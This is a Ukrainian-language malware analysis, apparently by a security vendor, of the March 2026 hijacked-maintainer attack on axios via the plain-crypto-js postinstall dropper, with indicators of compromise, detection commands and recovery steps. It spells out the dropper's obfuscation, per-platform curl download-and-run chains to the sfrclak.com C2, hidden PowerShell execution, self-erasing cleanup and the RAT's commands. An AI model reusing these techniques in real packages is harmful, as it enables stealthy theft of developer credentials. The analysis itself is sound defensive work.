Отруєний Axios: компрометація акаунту npm

30–31 березня 2026 року зловмисники опублікували в реєстрі npm дві шкідливі версії популярної HTTP-бібліотеки axios: 1.14.1 і 0.30.4. Обидві версії містили нову залежність під назвою plain-crypto-js. У релізі 4.2.1 ця залежність містила повнофункціональний кросплатформний дропер. Він непомітно встановлював троян віддаленого доступу (Remote Access Trojan, RAT) на машини розробників. Відтоді ці пакети було видалено, а 31 березня команда axios додала workflow, щоб офіційно позначити їх у реєстрі як скомпрометовані. Будь-який розробник, який виконав npm install для вразливих версій у період, коли вони були доступні, має вважати, що його пристрій скомпрометовано. Цю кампанію відстежують як MSC-2026-3522.

Axios має понад 50 мільйонів щотижневих завантажень. Навіть короткочасна доступність пакета такого масштабу становить серйозний ризик для ланцюга постачання. Це особливо небезпечно з огляду на те, що ноутбуки розробників зазвичай містять SSH-ключі, хмарні облікові дані, API-токени та доступ до систем продакшну.

Як було розгорнуто атаку: компрометація акаунту npm

Версії 1.14.1 і 0.30.4 ніде не існують у GitHub-репозиторії axios. Немає ані git-тегів, ані комітів, ані гілок релізів, що відповідають цим номерам версій. Найновішим чинним тегом релізу є v1.14.0. Його було опубліковано 27 березня 2026 року.

Це означає, що атака не передбачала компрометації GitHub. Зловмисник отримав облікові дані для акаунту npm одного з мейнтейнерів. Після цього він безпосередньо використав npm CLI для публікації пакетів. Увесь процес релізу на основі git у цьому випадку не використовувався. Для розробників, які проводять аудит залежностей через перевірку репозиторію GitHub, ці версії виглядали б такими, які неможливо знайти.

Ще одним індикатором компрометації акаунту стала зміна email-адреси npm, пов’язаної з акаунтом мейнтейнера axios. Її змінили на ifstap@proton.me приблизно в той самий час, коли було опубліковано шкідливий пакет. Це узгоджується зі сценарієм, за якого зловмисник після отримання доступу оновлює дані для відновлення акаунту. Мета такого кроку – заблокувати легітимного власника.

Учасник спільноти ashishkurmi 31 березня створив issue #10604. У ньому було зазначено, що пов’язані issue, в яких повідомлялося про компрометацію, видалялися невдовзі після створення. Це свідчить про те, що зловмисник міг зберігати певний доступ до акаунту впродовж періоду інциденту.

Команда axios відреагувала швидко. 31 березня мейнтейнер DigitalBrainJS об’єднав PR #10591. До нього було додано workflow GitHub Actions deprecate.yml. Він дозволяє мейнтейнерам вручну запускати npm deprecate для вказаної версії. Це позначає пакети як застарілі в реєстрі та попереджає розробників, які намагаються їх встановити.

name: Deprecate compromised axios version

on:
  workflow_dispatch:
    inputs:
      version:
        description: "Version of axios to deprecate (e.g. 1.14.1)"
        required: true
        default: "1.14.1"

jobs:
  deprecate:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 20
          registry-url: https://registry.npmjs.org

Огляд атаки

Атака починається із самого package.json пакета axios. Обидві шкідливі версії, 1.14.1 і 0.30.4, були опубліковані з указанням plain-crypto-js@4.2.1 як нової залежності. Будь-який розробник, який запускав npm install axios@1.14.1, автоматично підтягував цю залежність. Без жодних додаткових дій npm непомітно визначає та встановлює повне дерево залежностей.

Саме в plain-crypto-js@4.2.1 міститься шкідливий код. Пакет містить хук postinstall, що спрацьовує в момент, коли npm завершує встановлення пакета. Далі ланцюг виконується у три етапи:

  1. хук postinstall запускає setup.js – сильно обфускований дропер JavaScript, вбудований у plain-crypto-js;
  2. дропер визначає операційну систему, зв’язується із сервером C2 (command-and-control) і завантажує шкідливий компонент другого етапу для відповідної платформи
  3. у macOS скомпільований Mach-O RAT записується до /Library/Caches/com.apple.act.mond. Після цього він починає сигналізувати зловмиснику кожні 60 секунд. Для Windows і Linux існують еквівалентні шляхи другого етапу.

Після завершення роботи дропер стирає сам себе. Далі він замінює власний package.json пакета на заздалегідь підготовлену чисту копію без хука postinstall. Дослідження встановленого пакета постфактум не виявляє нічого підозрілого.

Троянізований пакет: plain-crypto-js v4.2.0 проти v4.2.1

Версія 4.2.0 пакета plain-crypto-js є чистим, хоч і неавторизованим, перепакуванням добре відомої бібліотеки crypto-js. Вона містить 53 файли, усі вони є стандартними криптографічними примітивами. У пакеті немає мережевих викликів або хуків install.

У версії 4.2.1 було додано рівно три файли.

ФайлРоль
package.jsonЗмінено: додано “postinstall”: “node setup.js”
setup.jsНовий: дропер (сильно обфускований, ~3 КБ)
package.mdНовий: чиста копія package.json без запису postinstall, яка використовується для очищення після виконання

Додавання package.md є показовою деталлю. Його єдине призначення – перезаписати package.json після запуску дропера. Таким чином хук postinstall видаляється зі встановленого пакета. Інженер, який проводив би аудит залежностей після зараження, побачив би чистий пакет. У ньому не було б хуків і setup.js.

Дропер: три платформи, один скрипт

setup.js – це один мінімізований, сильно обфускований файл JavaScript. Він запускається під час встановлення та обробляє macOS, Windows і Linux. Для кожної з платформ передбачено окремий шлях виконання.

Обфускація

Кожне чутливе значення у скрипті приховане всередині масиву з 18 закодованих рядків. Це стосується назв модулів, шляхів до файлів, ідентифікаторів ОС, вмісту скрипта та URL C2. Жодне з цих значень не читається у вихідному коді. Щоб їх відновити, кожен елемент розгортається у зворотному порядку. Потім для нього відновлюється base64 padding. Далі він декодується з base64. Після цього він пропускається через кастомний XOR шифр із ключем “OrDeR_7077” та додатковою константою 333. Результат виглядає як сміття в каналі передавання, однак під час виконання він коректно декодується в читабельні рядки.

Декодування всіх 18 елементів розкриває повну картину. Воно показує три модулі Node.js, потрібні дроперу: fs, os і child_process. Також воно розкриває базовий URL C2: http://sfrclak.com:8000/. Окрім цього, стають видимими ідентифікатори платформ для кожної ОС, повний вміст скриптів, що скидаються на кожну платформу, а також команда виконання для кожного з них. Також розкриваються дві назви файлів, що використовуються під час очищення після виконання: package.json і package.md.

Що робить дропер

Під час виконання дропер спочатку визначає операційну систему. Потім він формує повний URL C2. Для цього до базового URL додається жорстко закодований ID кампанії 6202033. У результаті отримується http://sfrclak.com:8000/6202033. Далі дропер переходить різними шляхами залежно від платформи.

У macOS він записує файл AppleScript до /tmp/6202033. Цей скрипт звертається до C2 із POST-запитом, у тілі якого міститься packages.npm.org/product0. Це значення покликане виглядати як легітимний трафік реєстру npm. Потім скрипт зберігає відповідь у двійковому вигляді безпосередньо до /Library/Caches/com.apple.act.mond. Після цього він робить цей двійковий файл виконуваним. Далі запускає його через zsh у фоновому режимі й видаляє скрипт-завантажувач. Батьківський дропер запускає цей AppleScript у від’єднаному режимі через nohup osascript, тому процес встановлення одразу повертається без очікування завершення.

У Windows дропер спочатку знаходить двійковий файл PowerShell за допомогою where powershell. Потім він копіює його до %PROGRAMDATA%\wt.exe. Назву wt.exe має двійковий файл Windows Terminal, її вибрано для маскування в переліку файлів файлової системи. Далі дропер записує файл VBScript до тимчасового каталогу. Цей файл за допомогою WScript.Shell запускає приховане вікно cmd.exe. Це вікно через curl звертається до C2 через скрипт PowerShell. Тіло POST-запиту має вигляд packages.npm.org/product1. Отриманий скрипт зберігається як файл .ps1. Після цього він запускається за допомогою скопійованого двійкового файлу PowerShell з параметрами -w hidden -ep bypass. Це пригнічує будь-яке видиме вікно та оминає політику виконання. Після запуску PS1 обидва тимчасові файли видаляються.

У Linux шлях є найбільш прямим. Одна команда shell завантажує скрипт Python із C2. Тіло POST-запиту має вигляд packages.npm.org/product2, скрипт зберігається до /tmp/ld.py. Потім він запускається через python3 під nohup. У такий спосіб виконання відокремлюється від процесу встановлення.

Самознищення та приховування

Після запуску корисного навантаження для відповідної платформи дропер послідовно виконує три кроки очищення. Спочатку він видаляє сам себе, тобто setup.js. Потім видаляє поточний package.json, який містить хук postinstall. Після цього він перейменовує package.md назад у package.json. package.md – це чиста копія package.json, яка була вбудована в пакет. У результаті каталог встановленого пакета не містить жодного сліду дропера. У ньому також немає хука postinstall і неочікуваних файлів. Будь-який аудит пакета після встановлення виглядає цілком нормальним.

ID кампанії 6202033 є єдиним значенням, жорстко закодованим поза межами обфускованого масиву. Базову частину URL C2 закодовано. Це означає, що майбутні кампанії можуть повторно використовувати ту саму інфраструктуру дропера. Для цього достатньо опублікувати нову версію з іншим закодованим URL. Сам двійковий файл RAT при цьому взагалі не потрібно змінювати.

Другий етап для macOS: повноцінний троян віддаленого доступу

Корисне навантаження, яке видавалося на macOS, являє собою скомпільований двійковий файл Mach-O x86_64. Він записується до /Library/Caches/com.apple.act.mond. Цей шлях обрано так, щоб він нагадував назву справжнього фонового процесу Apple. Двійковий файл не підписаний дійсним сертифікатом, однак дропер обходить це обмеження. Для цього він виконує codesign –force –deep –sign – і застосовує ad-hoc-підпис перед виконанням. Це задовольняє базову вимогу підписування без дійсної ідентичності розробника.

SHA256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Двійковий файл використовує libcurl для комунікації з C2 та nlohmann JSON для роботи зі структурованими даними. URL C2 не є жорстко закодованим. Він передається як argv[1] завантажувачем AppleScript від дропера. Такий дизайн означає, що той самий скомпільований двійковий файл можна повторно розгорнути в майбутніх кампаніях. Для цього достатньо спрямувати його на іншу інфраструктуру, просто змінивши дропер.

Початковий сигнал (initial beacon)

Під час першого виконання RAT збирає детальний системний відбиток і надсилає його до C2 за допомогою POST як об’єкт JSON, закодований у Base64.

{
  "hostname": "macbook-pro.local",
  "username": "jdoe",
  "version": "14.4.1",
  "timezone": "-5",
  "installTimeString": "2023-09-15 09:22:11",
  "currentTimeString": "2025-03-21 14:07:33",
  "bootTimeString": "2025-03-20 08:11:02",
  "cpuType": "mac_x64",
  "modelName": "Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz",
  "processList": "user     pid  command\njdoe  1234  /usr/bin/python3 ...",
  "FirstInfo": "{ /Applications, ~/Library, ~/Application Support ... }"
}

installTimeString зчитується з /var/db/.AppleSetupDone, файлу, який записує дату першого налаштування macOS. У поєднанні з повним списком процесів та деревом каталогів, цей початковий сигнал дає оператору повне уявлення про ціль: яке програмне забезпечення встановлено, що наразі запущено, які облікові дані та файли конфігурації ймовірно присутні.

Увесь HTTP-зв’язок використовує рядок User-Agent mozilla/4.0 (сумісний; msie 8.0; windows nt 5.1; trident/4.0), який ідентифікується як Internet Explorer 8 у Windows XP. Це аномалія для будь-якого процесу macOS і виявляється в журналах HTTP-проксі.

Протокол команд та управління

Після початкового сигналу RAT опитує сервер C2 кожні 60 секунд через запит GET, очікуючи команд. Оператор може видавати чотири типи команд:

  • peinject отримує корисне навантаження, закодоване в Base64, записує його у випадково названий прихований файл у /private/tmp/, застосовує chmod 755, підписує його ad-hoc за допомогою codesign –force –deep –sign – та виконує його з додатковими параметрами. Це найризикованіша функція: вона дозволяє оператору запускати будь-яку довільну програму на машині користувача в будь-який час.

  • runscript виконує довільні команди. Якщо поле Script порожнє, поле Param передається безпосередньо до /bin/sh. Якщо Script заповнено, контент, декодований Base64, записується у тимчасовий файл .scpt та виконується через /usr/bin/osascript. Останній дозволяє взаємодію з графічним інтерфейсом, доступ до зв’язки ключів на основі AppleScript та атаки підміни діалогів.

  • rundir запускає глибоке перерахування файлової системи, збираючи імена файлів, розміри, позначки часу створення та модифікації, а також структуру каталогів.

  • kill завершує процес RAT.
main() [0x100007A60]
    GenerateUID()     → random 16-char victim ID
    GetOS()           → macOS version string
    InitDirInfo()     → enumerate /Applications, ~/Library, ~/Application Support
    Report()          → POST initial beacon to C2
    loop every 60s:
        DoWork()      → GET C2 for pending command
            peinject  → DoActionIjt() [0x100002ECE]
            runscript → DoActionScpt() [0x1000042FE]
            rundir    → InitDirInfo()  [0x1000070EF]
            kill      → exit

Повний ланцюжок атаки

Developer runs: npm install axios@1.14.1 (or 0.30.4)

  Attacker published via compromised npm maintainer account
  (No corresponding git tags in the axios GitHub repo)

  axios@1.14.1
    └── plain-crypto-js@4.2.1
          └── postinstall: node setup.js
                │
                ├── [macOS]
                │     AppleScript → curl POST packages.npm.org/product0
                │     → /Library/Caches/com.apple.act.mond (chmod 770)
                │     → nohup zsh "...act.mond http://sfrclak.com:8000/6202033"
                │
                ├── [Windows]
                │     copy powershell.exe → %PROGRAMDATA%\wt.exe
                │     VBS → curl POST packages.npm.org/product1 → .ps1
                │     → wt.exe -w hidden -ep bypass -file .ps1
                │
                └── [Linux]
                      curl POST packages.npm.org/product2 → /tmp/ld.py
                      → nohup python3 /tmp/ld.py [C2 URL]

  setup.js self-destructs:
    unlink(setup.js)
    unlink(package.json)           ← removes postinstall hook
    rename(package.md → package.json)  ← package looks clean

  RAT beacons every 60s to http://sfrclak.com:8000/6202033
    → operator can push binaries, run shell commands, enumerate files

Оцінка впливу та ризиків

Комп’ютери розробників є цінними цілями. Зазвичай вони містять закриті ключі SSH, облікові дані постачальників хмарних послуг (AWS, GCP, Azure), токени публікації npm та PyPI, файли .env для проміжних та виробничих середовищ, рядки підключення до бази даних та сертифікати VPN. RAT з довільним виконанням команд та впровадженням бінарних файлів на робочій станції розробника надає зловмиснику постійний плацдарм, що дозволяє розгалужувати атаку й у виробничу інфраструктуру.

60-секундний цикл опитування та можливість впровадження peinject означають, що зловмисник може з часом змінювати свій вектор атаки. Наприклад, спочатку могло бути запущено infostealer, а вже через кілька днів запустити новий бінарний файл з різними можливостями.

Конвеєри CI/CD є додатковим занепокоєнням. Багато організацій запускають npm install в автоматизованих середовищах збірки. Якби уражені версії axios були встановлені під час вікна збірки, троян-інсталятор (dropper) працював би у контексті CI/CD, маючи доступ до будь-яких секретів та дозволів, які має це середовище.

Відсутність тегів git для шкідливих версій також означає, що інструменти сканування залежностей, які порівнюють npm-пакети з репозиторіями вихідного коду, можливо, не виявили нічого незвичного. За всіма перевірками метаданих пакети виглядали дійсними релізами axios.

Хронологія подій

Дата/час (UTC)Подія
07.03.2026axios v1.14.0 офіційно опубліковано в npm з відповідним тегом git
30-31.03.2026Зловмисник публікує axios v1.14.1 та v0.30.4 через скомпрометований обліковий запис npm. Електронну адресу розробника npm змінено на ifstap@proton.me. Теги git не створено. plain-crypto-js v4.2.1 включено як залежність
31.03.2026, 01:38 UTCРозробник Axios об’єднує PR #10591, додаючи робочий процес deprecate.yml
31.03.2026, 03:00 UTCВипуск файлів спільноти №10604, у яких публічно повідомляється про компрометацію
31.03.2026 і триваєC2 за адресою sfrclak.com:8000 переходить у режим офлайн. Триває видалення шкідливих версій

Індикатори компрометації

Мережа

ІндикаторЗначення
C2 domainsfrclak.com
C2 IP142.11.206.73
C2 Port8000
C2 URLhttp://sfrclak.com:8000/6202033
User-Agentmozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
macOS POST bodypackages.npm.org/product0
Windows POST bodypackages.npm.org/product1
Linux POST bodypackages.npm.org/product2

Файли системи

ІндикаторОСПримітки
/Library/Caches/com.apple.act.mondmacOSБінарний файл RAT
/tmp/6202033macOSЗавантажувач AppleScript, видалений після використання
/private/tmp/.XXXXXXmacOSВведені бінарні файли з команд peinject
%PROGRAMDATA%\wt.exeWindowsКлонований бінарний файл PowerShell
%TEMP%\6202033.vbsWindowsVBS-wrapper, видалена після використання
%TEMP%\6202033.ps1WindowsКорисне навантаження PS1, видалене після використання
/tmp/ld.pyLinuxКорисне навантаження Python stage 2

Хеші файлів (macOS RAT)

АлгоритмХеш
SHA25692ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
SHA113ab317c5dcab9af2d1bdb22118b9f09f8a4038e
MD57a9ddef00f69477b96252ca234fcbeeb

Процес та поведінка

  • codesign –force –deep –sign – викликається для бінарного файлу в /private/tmp/
  • ps -eo user,pid,command виконується неінтерактивним процесом
  • osascript з файлом .scpt в /tmp/
  • nohup запуск файлу в /Library/Caches/ на macOS
  • PowerShell викликається з -w hidden -ep bypass з батьківського процесу, що не є оболонкою
  • Вихідний HTTP POST на порт 8000, що нагадує шляхи реєстру npm

Виявлення

Аудит npm

Перевірити, чи залежить проєкт від plain-crypto-js у будь-якій версії, і чи були встановлені відповідні версії axios:

npm ls plain-crypto-js
cat package-lock.json | grep -A3 "plain-crypto-js"
# Check if either malicious version is in your lock file
grep -E '"axios".*"(1\.14\.1|0\.30\.4)"' package-lock.json

Виявлення мережі

Блокувати або сповіщати про вихідні з’єднання до sfrclak.com та 142.11.206.73:8000 на рівні фаєрвола та DNS. У журналах проксі-сервера виводити сповіщення про User-Agent mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) з будь-якого хоста, що не працює під керуванням Windows, або з будь-якого хоста, який надсилає POST-запити до порту 8000.

План відновлення

Якщо ви встановили axios 1.14.1 або 0.30.4:

  1. Розглядайте машину як скомпрометовану. Не використовуйте її для доступу до конфіденційних облікових даних або виробничих систем, доки вона не буде imaged чи rebuilt.
  2. Змініть усі облікові дані, до яких був доступ на машині: ключі SSH, ключі хмарного провайдера, токени npm, секрети .env, ключі API, паролі баз даних.
  3. Перевірте наявність артефактів збереження, перелічених у таблиці OC вище. Наявність /Library/Caches/com.apple.act.mond на macOS або %PROGRAMDATA%\wt.exe на Windows підтверджує виконання другого етапу.
  4. Перегляньте журнали CI/CD за період часу. Якщо будь-який конвеєр запускав npm install з цими версіями, змініть всі секрети, що використовуються у цьому середовищі.
  5. Перевірте файл package-lock.json на наявність посилань на plain-crypto-js. Якщо він присутній, пакет було запущено, і, можливо, запустили хук postinstall.

Висновки

Ця атака демонструє, наскільки ефективною є компрометація акаунту npm як початковий вектор доступу. Шкідливий код не потребував доступу до GitHub, запитів на зняття даних чи обходу перевірки коду. Одних викрадених облікових даних npm було достатньо для публікації шкідливих пакетів під надійним іменем з 50 мільйонами завантажень щотижня.

Другий етап macOS написаний професійно: скомпільований бінарний файл C++ зі структурованим зв’язком C2, чотирма окремими можливостями оператора, включаючи довільне введення бінарних файлів, та архітектура, розроблена для повторного використання інфраструктури. Етапи Windows та Linux залишаються непідтвердженими, очікується додаткова інформація.

Для організацій, які хочуть системно контролювати ризики open source-залежностей і шкідливих пакетів, доречним доповненням може стати Mend.io.

Підписатися на новини